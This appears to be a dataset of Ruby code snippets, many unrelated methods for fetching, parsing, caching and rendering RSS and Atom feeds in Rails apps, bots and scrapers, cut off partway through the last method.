"def load_remote_feed!\n @live = true\n if self.http_headers.nil? && !(self.cache_object.nil?) &&\n !(self.cache_object.http_headers.nil?)\n @http_headers = YAML.load(self.cache_object.http_headers)\n end\n \n if (self.href =~ /^feed:/) == 0\n # Woah, Nelly, how'd that happen? You should've already been\n # corrected. So let's fix that url. And please,\n # just use less crappy browsers instead of badly defined\n # pseudo-protocol hacks.\n self.href = FeedTools::UriHelper.normalize_url(self.href)\n end\n \n # Find out what method we're going to be using to obtain this feed.\n begin\n uri = URI.parse(self.href)\n rescue URI::InvalidURIError\n raise FeedAccessError,\n \"Cannot retrieve feed using invalid URL: \" + self.href.to_s\n end\n retrieval_method = \"http\"\n case uri.scheme\n when \"http\"\n retrieval_method = \"http\"\n when \"ftp\"\n retrieval_method = \"ftp\"\n when \"file\"\n retrieval_method = \"file\"\n when nil\n raise FeedAccessError,\n \"No protocol was specified in the url.\"\n else\n raise FeedAccessError,\n \"Cannot retrieve feed using unrecognized protocol: \" + uri.scheme\n end\n \n # No need for http headers unless we're actually doing http\n if retrieval_method == \"http\"\n begin\n @http_response = (FeedTools::RetrievalHelper.http_get(\n self.href, :feed_object => self) do |url, response|\n # Find out if we've already seen the url we've been\n # redirected to.\n follow_redirect = true\n\n begin\n cached_feed = FeedTools::Feed.open(url,\n :disable_update_from_remote => true)\n if cached_feed.cache_object != nil &&\n cached_feed.cache_object.new_record? != true\n if !cached_feed.expired? &&\n !cached_feed.http_headers.blank?\n # Copy the cached state\n self.href = cached_feed.href\n \n @feed_data = cached_feed.feed_data\n @feed_data_type = cached_feed.feed_data_type\n \n if @feed_data.blank?\n raise \"Invalid cache data.\"\n end\n \n @title = nil; self.title\n self.href\n @link = nil; self.link\n \n self.last_retrieved = cached_feed.last_retrieved\n self.http_headers = cached_feed.http_headers\n self.cache_object = cached_feed.cache_object\n @live = false\n follow_redirect = false\n end\n end\n rescue\n # If anything goes wrong, ignore it.\n end\n follow_redirect\n end)\n case @http_response\n when Net::HTTPSuccess\n @feed_data = self.http_response.body\n @http_headers = {}\n self.http_response.each_header do |key, value|\n self.http_headers[key.downcase] = value\n end\n self.last_retrieved = Time.now.gmtime\n @live = true\n when Net::HTTPNotModified\n @http_headers = {}\n self.http_response.each_header do |key, value|\n self.http_headers[key.downcase] = value\n end\n self.last_retrieved = Time.now.gmtime\n @live = false\n else\n @live = false\n end\n rescue Exception => error\n @live = false\n if self.feed_data.nil?\n raise error\n end\n end\n elsif retrieval_method == \"https\"\n # Not supported... yet\n elsif retrieval_method == \"ftp\"\n # Not supported... yet\n # Technically, CDF feeds are supposed to be able to be accessed\n # directly from an ftp server. This is silly, but we'll humor\n # Microsoft.\n #\n # Eventually. If they're lucky. And someone demands it.\n elsif retrieval_method == \"file\"\n # Now that we've gone to all that trouble to ensure the url begins\n # with 'file://', strip the 'file://' off the front of the url.\n file_name = self.href.gsub(/^file:\\/\\//, \"\")\n if RUBY_PLATFORM =~ /mswin/\n file_name = file_name[1..-1] if file_name[0..0] == \"/\"\n end\n begin\n open(file_name) do |file|\n @http_response = nil\n @http_headers = {}\n @feed_data = file.read\n @feed_data_type = :xml\n self.last_retrieved = Time.now.gmtime\n end\n rescue\n @live = false\n # In this case, pulling from the cache is probably not going\n # to help at all, and the use should probably be immediately\n # appraised of the problem. Raise the exception.\n raise\n end\n end\n unless self.cache_object.nil?\n begin\n self.save\n rescue\n end\n end\n end",
"def refresh(force=false)\n # check headers and etag and last modified\n raise \"Missing feed_url\" if feed_url.nil?\n ff = Feedbase::FetchFeed.new(feed_url)\n headers = ff.headers\n if !force \n if last_etag && (headers[:etag] == last_etag)\n puts \"-- #{feed_url} -- ETag cache hit\"\n return\n end\n end\n data = ff.fetch \n params = data[:feed_params].merge(:alpha_title => make_alpha_title(data[:feed_params][:title])) \n if params[:feed_url] != self[:feed_url]\n if x = self.class.filter(:feed_url => params[:feed_url]).first\n raise Redirected.new(\"Redirected to existing feed: #{x.feed_url}\")\n end\n end\n params.delete(:feed_url) \n begin Sequel::DatabaseError\n update params\n rescue StandardError # PGError\n puts \"The offending record is #{self.inspect}\"\n raise\n end\n\n Feedbase::FeedDownload.create({feed_id: feed_id}.merge(data[:download_params])) \n items_created = data[:items].\n select {|item| Feedbase::Item[:guid => item[:guid]].nil?}.\n map { |item|\n params = {\n feed_id: feed_id,\n title: item[:title].encode(\"utf-8\"), \n guid: item[:guid], \n link: item[:link],\n content: item[:content],\n author: item[:author],\n word_count: item[:word_count],\n pub_date: item[:pub_date]\n }\n Feedbase::Item.create params\n }\n # caller can extract an item count from this\n items_created\n end",
"def rss\n\n # Get the specified user, making sure that it exists\n if !@user = User.find_by_login(params[:user_login])\n raise ActiveRecord::RecordNotFound\n end\n\n # If the everybody flag is set, respond with feed items about everybody\n # on Blavel\n # Otherwise, respond with feed items only about the people that the\n # current user is following\n @everybody = params[:everybody]\n if @everybody\n @feed_items = gather_feed_items\n else\n @feed_items = gather_feed_items(current_user)\n end\n\n rescue ActiveRecord::RecordNotFound => error\n logger.info error\n flash[:notice] = 'The user you requested does not exist.'\n redirect_to '/'\n end",
"def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end",
"def rss\n\t\theaders[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\t\trender :layout => false\n\tend",
"def rss\n @rss ||= build_rss\n end",
"def retrieve(rss)\n\n #pp rss\n if rss.is_a?(RSS::Rss)\n channel=rss.channel\n\n self.name=channel.title\n self.description=channel.description\n\n self.state=\"retrieving\"\n self.save\n children=0\n rss.items.each{|item|\n updateOrCreate(item)\n children+=1\n break if children>MAX_CHILDREN\n }\n\n else\n\n self.name=rss.title\n self.description=rss.subtitle if rss.respond_to?(:subtitle)\n\n self.state=\"retrieving\"\n children=0\n rss.items.each{|item|\n updateOrCreate(item)\n children+=1\n break if children>MAX_CHILDREN\n }\n end\n self.state=\"retrieved\"\n save\n end",
"def read_rss\n query = \"http://news.google.ru/news?hl=ru&topic=#{@topic}&output=rss&ned=ru_ru&num=30&&scoring=n\"\n feed = Feedjira::Feed.fetch_and_parse(query)\n feed.entries.map do |entry|\n {\n uuid: SecureRandom.uuid,\n title: entry.title,\n url: entry.url.match(GOOGLE_URI_REGEX)[0],\n published_datetime: entry.published,\n published_unixtime: entry.published.to_i\n }\n end\n end",
"def parse_rss(rss_feed)\n rss_content = \"\"\n\n #Get feed information\n open (rss_feed) do |f|\n rss_content = f.read\n end\n\n RSS::Parser.parse(rss_content, false)\n end",
"def rss\n render_rss_feed_for Idea.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Ideas',\n :link => url_for(:controller => 'ideas', :action => 'list', :only_path => false),\n :pub_date => :created_at\n },\n :item => {\n :title => :title,\n :description => :formatted_description,\n :link => Proc.new{|idea| url_for(:controller => 'ideas',\n :action => 'show', :id => idea.id)}\n }\n }\n end",
"def suck_arss_feed \n \n @last_fetched = Time.now\n \n #EACH ARTICLE\n @rss.items.each do |item|\n begin\n story_page = Hpricot(open(item.link))\n rescue Timeout::Error => e\n puts \"#{e} timeout on #{item.link}\"\n end\n story_elements = story_page.search(@story_pattern)\n image_elements = story_page.search(@image_pattern)\n \n #CREATE STORY \n story = ArssStory.new \n story.title = item.title\n story.published_date = item.pubDate.to_date\n body_text = \"\"\n \n image_elements.each do |image|\n body_text << image.to_html\n end\n\n story_elements.each do |element|\n body_text << element.to_html\n end\n story.text = body_text\n \n #SAVE STORY\n @stories << story\n end\n end",
"def rss\n render_rss_feed_for Announcement.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Announcements',\n :link => announcements_url,\n :pub_date => :created_at\n },\n :item => {\n :title => :headline,\n :description => :formatted_description,\n :link => Proc.new{|announcement| \"#{announcements_url}##{announcement.id}\" }\n }\n }\n end",
"def parse_rss\n parser = Parsers::RSS.new\n noko_sax = Nokogiri::XML::SAX::Parser.new(parser)\n noko_sax.parse(@data)\n parser.feed\n end",
"def httpdownload_callback\r\n Emergency.delete_all()\r\n file = File.new(@@feedPath)\r\n doc = REXML::Document.new(file)\r\n firstLoop = true\r\n #Parse each item element in this XML document.\r\n doc.elements.each(\"*/channel/item\")do |elm|\r\n title = elm.elements[\"title\"].text\r\n desc = elm.elements[\"description\"].text\r\n date_time = elm.elements[\"pubDate\"].text\r\n category = elm.elements[\"category\"].text\r\n # We want the \"fulltime\" element in our database to be a UNIX time-stamp because comparisons are easier.\r\n alertTime = Time.parse(date_time)\r\n nixTimeStamp = alertTime.to_i\r\n date_array = \"PlaceHolder\", \"PlaceHolder\"\r\n # Convert the RSS pubDate to an easily readable format\r\n date_array[0] = alertTime.month.to_s + \"/\" + alertTime.day.to_s + \"/\" + alertTime.year.to_s\r\n if alertTime.hour > 12\r\n hours = alertTime.hour - 12\r\n pm = true\r\n else\r\n hours = alertTime.hour\r\n pm = false\r\n end\r\n date_array[1] = hours.to_s + \":\" + alertTime.min.to_s\r\n if pm == true\r\n date_array[1] = date_array[1] + \" PM\"\r\n else\r\n date_array[1] = date_array[1] + \" AM\"\r\n end\r\n # Create this Emergency object in the database.\r\n Emergency.create({ \"title\" => title, \"description\" => desc, \"time\" => date_array[1], \"date\" => date_array[0], \"fullTime\" => nixTimeStamp, \"category\" => category})\r\n end\r\n file.close\r\n end",
"def update_rss(id, body)\n doc = Nokogiri::XML(body)\n doc.xpath('rss/channel/item').each do |i|\n title = i.xpath('title').text\n link = i.xpath('link').text\n st = @sql.prepare \"select exists(select 1 from article_lists where article_url=?)\"\n st.execute(link).each_with_index do |res, index|\n insert_article_list(res, id, title, link) if index == 0\n end\n end\n end",
"def feed\n\n end",
"def rss \n @vote_topics = VoteTopic.rss\n respond_to do |format|\n format.rss\n end\n end",
"def feed\n @feeddata\n end",
"def report_status(m)\n if @@active\n m.reply \"Google RSS: On\"\n else\n m.reply \"Google RSS: Off\"\n end\n end",
"def run_ticker(m)\n config = YAML.safe_load(File.read(\"config/google.yml\"))\n source = \"http://www.google.com/appsstatus/rss/en\"\n current_msg = String.new\n \n # Get current RSS message without reporting it.\n raw = String.new\n open(source) do |input|\n raw = input.read\n end\n rss = RSS::Parser.parse(raw, false)\n\n if !rss.items.empty?\n current_msg = rss.items[0].description\n end\n\n # Begin checking for new RSS messages.\n while @@active\n sleep(config['frequency'])\n\n raw = String.new\n open(source) do |input|\n raw = input.read\n end\n rss = RSS::Parser.parse(raw, false)\n\n # If there are any entries in the RSS feed, check if they\n # are different from what we already have. If so, update, then\n # print them out.\n if !rss.items.empty?\n if (rss.items[0].description != current_msg)\n current_msg = rss.items[0].description\n\n cleaned_rss = Sanitize.clean(rss.items[0].description)\n # Google has an interesting way of dividing up different entries...\n # with the following Unicode character delimiter.\n msg_set = cleaned_rss.split \"\\u00A0\"\n msg_set.each { |msg| msg.strip! }\n msg_set.delete_if { |msg| msg.empty? }\n \n reply = \"[#{rss.items[0].title}] \"\n reply << (msg_set[0]).to_s\n \n # Report RSS results to each channel in the list.\n config['channels'].each do |chname|\n max_msg_size = 512 - m.bot.nick.size - chname.size - 43\n Channel(chname).send reply[0,max_msg_size]\n Channel(chname).send \"More info at: #{rss.items[0].link}\"\n end\n\n end\n end\n end\n\n end",
"def parse_by_rss_feed(url,rss_link_id)\n feeds = RssFeed::RssFeed.parse_rss_url(url)\n feeds.entries.each do |item|\n params = {\n :title => item.title,\n :description => ActionController::Base.helpers.strip_tags(item.description),\n :link => item.link,\n :author => item.author,\n :publication_date => item.published,\n :media_contents => (item.media_image ? [{:url => item.media_image}] : []),\n :media_description => item.media_description,\n :media_credit => item.media_credit,\n :keywords => (item.categories.present? ? item.categories.join(\",\") : \"\"),\n :rss_link_id => rss_link_id\n }\n f = Feed.new(params)\n if f.save\n activity = Activity.new({:action => \"Create\", :parent_id => rss_link_id, :parent_type => \"RssLink\", :data => params}) \n activity.save\n puts \"*\" * 50\n puts \"Title: \" + f.title + \" parsed and saved\"\n end\n end if feeds && feeds.entries\n end",
"def feed\n end",
"def refresh\n FeedSource.find(params[:feed_source_id]).refresh\n feed_sources = params[:feed_sources]\n @feed_source_titles = {}\n FeedSource.find(feed_sources).each { |source| @feed_source_titles[source.id] = source.title}\n @feed_items = FeedItem.where(\"feed_source_id IN (?)\", feed_sources).order(pub_date: :desc).limit(20).offset(0)\n @feed_items = @feed_items.sort_by{ |item| item.pub_date.to_i }.reverse\n render :index\n end",
"def blogrss_check\n begin\n unless blogrss.blank?\n RestClient.get blogrss\n end\n rescue\n errors.add :base, \"Invalid Blog URL\"\n end\n end",
"def rss\n @title = t('titles.news', brand: website.brand_name)\n @description = website.value_for(\"default_meta_tag_description\")\n @news = News.all_for_website(website)\n respond_to do |format|\n format.xml # render rss.xml.builder\n end\n end",
"def get_feed(params)\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Entering\")\n\n url = process_node(params)\n\n if url && String === url && url !~ /^http/ && params[:url]\n url = URI.join(params[:url] , url).to_s\n elsif url && Array === url\n url.map! do |u|\n if u !~ /^http/ && params[:url]\n URI.join(params[:url], u).to_s\n else\n u\n end\n end\n url.uniq!\n end\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Leaving\")\n params[:output][\"feed\"] = url\n\n rescue => e\n Rails.logger.error(\"[RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] **** RESCUE **** #{e.message} \")\n nil\n end",
"def fetch!\n parsed_feed = FeedNormalizer::FeedNormalizer.parse open(self.feed_url)\n \n self.update_attributes( :title => parsed_feed.title,\n :url => parsed_feed.url\n #:etag => parsed_feed.etag\n #:last_modified => parsed_feed.last_modified\n )\n \n parsed_feed.entries.each do |entry|\n self.entries.create(:url => entry.url,\n :title => entry.title,\n :author => entry.author,\n #:summary => entry.summary,\n :content => entry.content\n #:published => entry.published\n #:categories => entry.categories\n ) if !Entry.find_by_url(entry.url)\n end\n end",
"def feed_sorter\n\t\t@feeds.each do |url|\n\t\t\topen(url) do |rss|\n \t\t\tfeed = RSS::Parser.parse(rss)\n\t\t\t\n\t\t\t\tcase \n\t\t\t\twhen feed.feed_type == \"rss\"\n\t\t\t\t\trss_parser(feed)\n\t\t\t\twhen feed.feed_type == \"atom\"\n\t\t\t\t\tatom_parser(feed) \n\t\t\t\tend \n\t\t\tend \n\t\tend \n\tend",
"def refresh_all\n success_count = 0\n error_count = 0\n Topic.find_all_external.each do |topic|\n permalink = topic.permalink\n begin\n refresh_topic(topic)\n success_count += 1\n rescue\n log.error \"Error refreshing news for '#{permalink}': #{$!}\"\n error_count += 1\n end\n end #each\n if error_count > 0\n STDERR.puts \"*** #{error_count} errors occurred while refreshing \" +\n \"the news data.\"\n STDERR.puts \"See the intranet log for details.\"\n end #if\n log.info \"#{success_count} news topics were updated successfully.\"\n end",
"def generate_rss_feed tweets, old_items\n version = \"2.0\"\n long_url = nil\n\n @logger.info \"Generating RSS feed to #{@rss_outfile}.\"\n\n content = RSS::Maker.make(version) do |m|\n m.channel.title = \"tweetfeed RSS feed #{@hashtags}\"\n m.channel.link = \"http://github.com/madhatter/tweetfeed\"\n m.channel.description = \"Automatically generated news from Twitter hashtags\"\n m.items.do_sort = true # sort items by date\n\n tweets.each do |tweet|\n orig_url = tweet.urls[0].url\n expanded_url = tweet.urls[0].expanded_url\n @logger.debug \"URL to fetch: #{orig_url}\"\n @logger.debug \"Already expanded url: #{expanded_url}\"\n short_url = expanded_url\n title = tweet['text'].sub(/(#{orig_url})/, \"\")\n long_url = @url_parser.get_original_url short_url\n\n # TODO: Maybe some kind of domain filter would be nice here...\n i = m.items.new_item\n i.title = title.gsub(/\\n/,\"\")\n #i.link = tweet['attrs']['entities']['urls'][0]['url']\n unless long_url == nil\n i.link = long_url.gsub(/\\r/,\"\")\n else\n i.link = orig_url.gsub(/\\r/,\"\") unless orig_url == nil\n end\n i.date = tweet['created_at']\n end\n\n @logger.debug \"Adding the old stuff...:\"\n old_items.items.each do |item|\n i = m.items.new_item\n i.title = item.title\n @logger.debug \"Adding item '#{item.title}'\"\n i.link = item.link\n i.date = item.date\n end unless old_items.nil?\n end\n save_rss_feed(content)\n end",
"def feed_status_summary feed\n entry_report =\n case nmatches = feed.feed_entries.size\n when 0\n \"No entries\"\n when 1\n \"One entry\"\n else\n \"#{nmatches} entries\"\n end\n time_report = (feed.updated_at.today?) ? \"Today\" : \"#{time_ago_in_words feed.updated_at} ago\"\n update_button = feed_update_button feed\n \"#{entry_report}/<br>#{time_report} #{update_button}\".html_safe\n end",
"def update!\n # Don't do anything if this option is set\n return if self.configurations[:disable_update_from_remote]\n\n if !FeedTools.feed_cache.nil? &&\n !FeedTools.feed_cache.set_up_correctly?\n FeedTools.feed_cache.initialize_cache()\n end\n if !FeedTools.feed_cache.nil? &&\n !FeedTools.feed_cache.set_up_correctly?\n raise \"Your feed cache system is incorrectly set up. \" +\n \"Please see the documentation for more information.\"\n end\n if self.http_headers.blank? && !(self.cache_object.nil?) &&\n !(self.cache_object.http_headers.nil?)\n @http_headers = YAML.load(self.cache_object.http_headers)\n @http_headers = {} unless @http_headers.kind_of? Hash\n elsif self.http_headers.blank?\n @http_headers = {}\n end\n if self.expired? == false\n @live = false\n else\n load_remote_feed!\n \n # Handle autodiscovery\n if self.http_headers['content-type'] =~ /text\\/html/ ||\n self.http_headers['content-type'] =~ /application\\/xhtml\\+xml/\n\n autodiscovered_url = nil\n ['atom', 'rss', 'rdf'].each do |type|\n autodiscovered_url =\n FeedTools::HtmlHelper.extract_link_by_mime_type(self.feed_data,\n \"application/#{type}+xml\")\n break unless autodiscovered_url.nil?\n end\n \n if autodiscovered_url != nil\n begin\n autodiscovered_url = FeedTools::UriHelper.resolve_relative_uri(\n autodiscovered_url, [self.href])\n rescue Exception\n end\n if self.href == autodiscovered_url\n raise FeedAccessError,\n \"Autodiscovery loop detected: #{autodiscovered_url}\"\n end\n self.feed_data = nil\n \n self.href = autodiscovered_url\n if FeedTools.feed_cache.nil?\n self.cache_object = nil\n else\n self.cache_object =\n FeedTools.feed_cache.find_by_href(autodiscovered_url)\n end\n self.update!\n else\n html_body = FeedTools::XmlHelper.try_xpaths(self.xml_document, [\n \"html/body\"\n ])\n if html_body != nil\n raise FeedAccessError,\n \"#{self.href} does not appear to be a feed.\"\n end\n end\n else\n ugly_redirect = FeedTools::XmlHelper.try_xpaths(self.xml_document, [\n \"redirect/newLocation/text()\"\n ], :select_result_value => true)\n if !ugly_redirect.blank?\n if self.href == ugly_redirect\n raise FeedAccessError,\n \"Ugly redirect loop detected: #{ugly_redirect}\"\n end\n self.feed_data = nil\n self.href = ugly_redirect\n if FeedTools.feed_cache.nil?\n self.cache_object = nil\n else\n self.cache_object =\n FeedTools.feed_cache.find_by_href(ugly_redirect)\n end\n self.update!\n end\n end\n \n # Reset everything that needs to be reset.\n @xml_document = nil\n @encoding_from_feed_data = nil\n @root_node = nil\n @channel_node = nil\n @id = nil\n @title = nil\n @subtitle = nil\n @copyright = nil\n @link = nil\n @time_to_live = nil\n @entries = nil\n \n if self.configurations[:lazy_parsing_enabled] == false\n self.full_parse()\n end\n end\n end",
"def loadRSSFeeds \n @raw_data = RSS::Parser.parse('http://www.nachrichten.at/storage/rss/rss/weltspiegel.xml', false)\n end",
"def trickledown_feed \n begin \n if self.feeds.present? && self.stix_package.present?\n self.stix_package.update_attribute(:feeds, self.feeds) \n end\n rescue Exception => e\n ex_msg = \"Exception during trickledown_feed on: \" + self.class.name \n ExceptionLogger.debug(\"#{ex_msg}\" + \". #{e.to_s}\")\n end\n end",
"def feed\n @feed ||= (parsed_feed('rss') || parsed_feed('atom'))\n end",
"def feed\n @feed ||= (parsed_feed('rss') || parsed_feed('atom'))\n end",
"def update\n @rss_feed = RssFeed.find(params[:id])\n\n respond_to do |format|\n if @rss_feed.update_attributes(params[:rss_feed])\n format.html { redirect_to '/', notice: 'Rss feed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rss_feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_all_feeds\n Feed.all.each do |feed_entry|\n begin\n feed = Feedzirra::Feed.fetch_and_parse(feed_entry.feed_url)\n rescue Exception => e\n Rails.logger.error \"Feedzirra threw an error on feed_entry #{feed_entry.id}: #{e.inspect}\"\n end\n if !feed.blank? && !feed.is_a?(Fixnum) && !feed.entries.blank?\n feed.entries.each do |entry|\n begin\n entry.summary = @html_sanitizer.sanitize(entry.summary) unless entry.summary.blank?\n next if entry.title.blank? || entry.summary.blank? || entry.url.blank? || entry.id.blank? || entry.published.blank?\n guid = Base64.urlsafe_encode64(OpenSSL::Digest::MD5.digest(entry.id))\n unless FeedEntry.exists?(guid: guid)\n FeedEntry.create(title: clean_string(entry.title), summary: clean_string(entry.summary), url: clean_string(entry.url), published_at: entry.published, guid: guid, fetched: false)\n end\n rescue Exception => e\n Rails.logger.error \"Caught an error on inserting feed_entry #{entry.id}: #{e.inspect}\"\n end\n end\n end\n end\n end",
"def read\n begin\n title = @current_feed.keys.first\n content = @cache[@current_feed.keys.first] || fetch_feed\n @current_feed_link = content[0]&.dig('link')\n decoded_content = HTMLEntities.new.decode(content&.shift&.dig('title'))\n @cache[@current_feed.keys.first] = nil if content.empty?\n rescue StandardError => e\n # Error while parsing, something weird during feed fetch/parse, not read (as in pulling off queue), probably\n # TODO: maybe move this into a util class if we want this to be the way to log errors (because of how CLI works)\n File.open('errors.log', 'w') { |file| file.write(\"Error while parsing feed <#{title}>: #{e}\\n\") }\n end\n next_feed\n \"<#{title}>: #{decoded_content || Rss::NO_VALUE}\"\n end",
"def news_feed\n begin\n client = Feedlr::Client.new(oauth_access_token: ENV['FEEDLY_OAUTH_ACCESS_TOKEN'])\n @latest_list = {}\n client.user_unread_counts.unreadcounts.each do |unread_articles|\n next if unread_articles['count'] == 0\n unread_article_items = client.stream_entries_contents(unread_articles.id, unreadOnly: true).items\n next if unread_article_items.empty?\n\n unread_article_items.each do |article|\n @latest_list[article.alternate[0].href] = \"◼︎ <a href='#{article.alternate[0].href}'>#{article.title} - #{article.origin.title}</a>\"\n end\n client.mark_article_as_read(unread_articles.id)\n end\n @latest_news = @latest_list.values.join(\"<br>\")\n rescue => evar\n fail evar\n end\n @latest_news\n end",
"def index\n @posts = Post.limit 50\n @title = \"Weblog - last posts\"\n @updated = @posts.first.created_at unless @posts.empty?\n respond_to do |format|\n format.rss do\n redirect_to feeds_path(format: :atom),\n status: :moved_permanently\n end\n format.atom\n end\n end",
"def news\n do_scrape\n @posts = UbuEntry.all(:order => \"id DESC\", :limit => 400)\n render :layout => false, :content_type => Mime::RSS\n end",
"def run\n loop { sleep 5 while @feeds.alive? }\n end",
"def update\n @rss_feed = RssFeed.find(params[:id])\n\n respond_to do |format|\n if @rss_feed.update_attributes(params[:rss_feed])\n format.html { redirect_to @rss_feed, notice: 'Rss feed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rss_feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def parse(str)\n # Dirty hack: some feeds contain the & char. It must be changed to &\n str.gsub!(/&(\\s+)/, '&\\1')\n doc = REXML::Document.new(str)\n @xml = doc.root\n # get feed info\n @encoding = doc.encoding\n @title,@link,@description,@creator = nil\n @items = []\n if doc.root.elements['channel'] || doc.root.elements['rss:channel']\n @type = \"rss\"\n # We have a RSS feed!\n # Title\n if (e = doc.root.elements['channel/title'] ||\n doc.root.elements['rss:channel/rss:title']) && e.text\n @title = e.text.unescape_html.toUTF8(@encoding).rmWhiteSpace!\n end\n # Link\n if (e = doc.root.elements['channel/link'] ||\n doc.root.elements['rss:channel/rss:link']) && e.text\n @link = e.text.rmWhiteSpace!\n end\n # Description\n if (e = doc.root.elements['channel/description'] || \n doc.root.elements['rss:channel/rss:description']) && e.text\n @description = e.text.toUTF8(@encoding).rmWhiteSpace!\n end\n # Creator\n if ((e = doc.root.elements['channel/dc:creator']) && e.text) ||\n ((e = doc.root.elements['channel/author'] ||\n doc.root.elements['rss:channel/rss:author']) && e.text)\n @creator = e.text.unescape_html.toUTF8(@encoding).rmWhiteSpace!\n end\n # Items\n if doc.root.elements['channel/item']\n query = 'channel/item'\n elsif doc.root.elements['item']\n query = 'item'\n elsif doc.root.elements['rss:channel/rss:item']\n query = 'rss:channel/rss:item'\n else\n query = 'rss:item'\n end\n doc.root.each_element(query) { |e| @items << RSSItem::new(e, self) }\n\n elsif doc.root.elements['/feed']\n # We have an ATOM feed!\n @type = \"atom\"\n # Title\n if (e = doc.root.elements['/feed/title']) && e.text\n @title = e.text.unescape_html.toUTF8(@encoding).rmWhiteSpace!\n end\n # Link\n doc.root.each_element('/feed/link') do |e|\n if e.attribute('type') and (\n e.attribute('type').value == 'text/html' or\n e.attribute('type').value == 'application/xhtml' or\n e.attribute('type').value == 'application/xhtml+xml')\n if (h = e.attribute('href')) && h\n @link = h.value.rmWhiteSpace!\n end\n end\n end\n # Description\n if e = doc.root.elements['/feed/info']\n e = e.elements['div'] || e\n @description = e.to_s.toUTF8(@encoding).rmWhiteSpace!\n end\n # Items\n doc.root.each_element('/feed/entry') do |e|\n @items << AtomItem::new(e, self)\n end\n else\n raise UnknownFeedTypeException::new\n end\n end",
"def get_rss_usage()\n rss = 0\n open(\"/proc/#{Process.pid}/status\").each do |line|\n if line.start_with?(\"Rss\")\n pieces = line.split\n rss += pieces[1].to_i\n end\n end\n rss\nend",
"def refresh\n Feed.update_all\n # @feeds = Feed.all\n # feed_array = []\n # @feeds.each do |f|\n # EntryFeed.create_from_feed(f)\n # end\n\n redirect_to blogs_path\n flash[:notice] = \"Blogs successfully updated\"\n end",
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def fetch\n @raw_feed = HTTParty.get(@url).response.body unless @raw_feed\n end",
"def fetch_data\n rss_provider = RssProvider.find(params[:format])\n unless rss_provider.rss_url.include?(\"indiatvnews\" ) || rss_provider.rss_url.include?(\"hindu\" ) || rss_provider.rss_url.include?(\"zee\" )\n xml = HTTParty.get(rss_provider.rss_url)\n ProviderContent.create(xml: xml, rss_provider_id: rss_provider.id)\n feeds = xml[\"rss\"][\"channel\"][\"item\"]\n feeds.each do |feed|\n if rss_provider.rss_url.include?(\"indiatoday\" )\n title = News.find_by(title: feed[\"title\"])\n unless title.present?\n\n\n index_of_summary = feed[\"description\"].index(\"</a>\")\n summary = feed[\"description\"][index_of_summary..].delete_prefix(\"</a> \")\n index_of_image = feed[\"description\"].index(\"src\")\n image_url = feed[\"description\"][(index_of_image+5)..(index_of_summary-4)]\n News.create(title: feed[\"title\"], summary: summary, \n published_on: feed[\"pubDate\"], url: feed[\"link\"], media_url: image_url,\n rss_provider_id: rss_provider.id, category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n rss_provider.update(news_updated_at: Time.now.localtime)\n\n end\n\n \n elsif rss_provider.rss_url.include?(\"news18\")\n title = News.find_by(title: feed[\"title\"])\n unless title.present?\n index_of_image = feed[\"description\"].index(\"https\")\n summary_index = feed[\"description\"].index(\" />\")\n last_index_of_image = feed[\"description\"].index(\"jpg\")\n image_url = feed[\"description\"][(index_of_image)..(last_index_of_image)] + \"pg\"\n summary = feed[\"description\"][(summary_index+3)..]\n News.create(title: feed[\"title\"], summary: summary,published_on: feed[\"pubDate\"], url: feed[\"link\"], media_url: image_url, rss_provider_id: rss_provider.id, category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n rss_provider.update(news_updated_at: Time.now.localtime)\n end\n\n\n elsif rss_provider.rss_url.include?(\"bbc\")\n title = News.find_by(title: feed[\"title\"])\n unless title.present?\n News.create(title: feed[\"title\"], summary: feed[\"description\"], \n published_on: feed[\"pubDate\"], url: feed[\"link\"], media_url: feed[\"fullimage\"], \n rss_provider_id: rss_provider.id, category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n rss_provider.update(news_updated_at: Time.now.localtime)\n end\n\n\n elsif rss_provider.rss_url.include?(\"ndtv\")\n title = News.find_by(title: feed[\"title\"])\n unless title.present?\n News.create!(title: feed[\"title\"], summary: feed[\"description\"], \n published_on: feed[\"updatedAt\"], url: feed[\"link\"], media_url: feed[\"fullimage\"], \n rss_provider_id: rss_provider.id, category_id: rss_provider.category.id,provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n rss_provider.update(news_updated_at: Time.now.localtime)\n end\n\n\n \n elsif rss_provider.rss_url.include?(\"timesofindia\")\n title = News.find_by(title: feed[\"title\"])\n\n unless title.present?\n\n if rss_provider.category.category_name == \"Top Story\" \n News.create(title: feed[\"title\"], summary: feed[\"description\"], \n published_on: feed[\"pubDate\"], url: feed[\"link\"], media_url: \"\", \n rss_provider_id: rss_provider.id,category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n rss_provider.update(news_updated_at: Time.now.localtime) \n else\n unless feed[\"description\"] == nil \n index_of_image = feed[\"description\"].index(\"src\")\n last_index_of_image = feed[\"description\"][index_of_image..].index(\"/>\")+index_of_image\n image_url = feed[\"description\"][(index_of_image+5)..(last_index_of_image-3)]\n summary_index = feed[\"description\"].index(\"</a>\")\n summary = feed[\"description\"][(summary_index+4)..]\n News.create(title: feed[\"title\"], summary: summary, \n published_on: feed[\"pubDate\"], url: feed[\"link\"], media_url: image_url, \n 